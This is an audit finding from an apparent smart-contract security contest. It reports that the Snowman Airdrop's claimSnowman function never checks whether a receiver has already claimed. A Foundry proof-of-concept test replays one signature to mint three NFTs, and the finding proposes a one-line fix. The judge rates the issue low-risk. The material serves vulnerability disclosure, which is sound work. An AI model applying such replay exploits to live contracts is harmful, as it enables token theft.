Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: low
Valid

Lack of Validation signature only claimed once on `claimSnowman` lead to Replays Attacks

Root + Impact

Description

  • The attacker can claim on function claimSnowman Repeatedly with only one signature

// src/SnowmanAirdrop.sol
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
@>> //here is validation needed
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount);
@>> s_hasClaimedSnowman[receiver] = true; //no validation ever claimed before
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}

Impact:

  • Replays Attacks on contract snowmanAirdrop


Proof of Concept

Applying this function on the last of test/TestSnowmanAirdrop.t.sol to make sure that one signature can claim a reward more than once, ran with the command forge test --match-test testReplayAttackRealistic -vvvv

function testReplayAttackRealistic() public {
vm.startPrank(alice);
snow.approve(address(airdrop), 1);
vm.stopPrank();
bytes32 aliceDigest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 1);
assertEq(nft.ownerOf(0), alice);
assert(snow.balanceOf(alice) == 0);
vm.warp(block.timestamp + 604800);
vm.prank(alice);
snow.earnSnow();
assert(snow.balanceOf(alice) == 1);
vm.prank(alice);
snow.approve(address(airdrop), 1);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 2);
assertEq(nft.ownerOf(1), alice);
vm.warp(block.timestamp + 604800);
vm.prank(alice);
snow.earnSnow();
assert(snow.balanceOf(alice) == 1);
vm.prank(alice);
snow.approve(address(airdrop), 1);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 3);
assertEq(nft.ownerOf(2), alice);
}

Recommended Mitigation

Add this code to the function claimSnowman before the claim is processed

+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed();
+ }
Updates

Lead Judging Commences

yeahchibyke Lead Judge 20 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of claim check

The claim function of the Snowman Airdrop contract doesn't check that a recipient has already claimed a Snowman. This poses no significant risk as is as farming period must have been long concluded before snapshot, creation of merkle script, and finally claiming.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.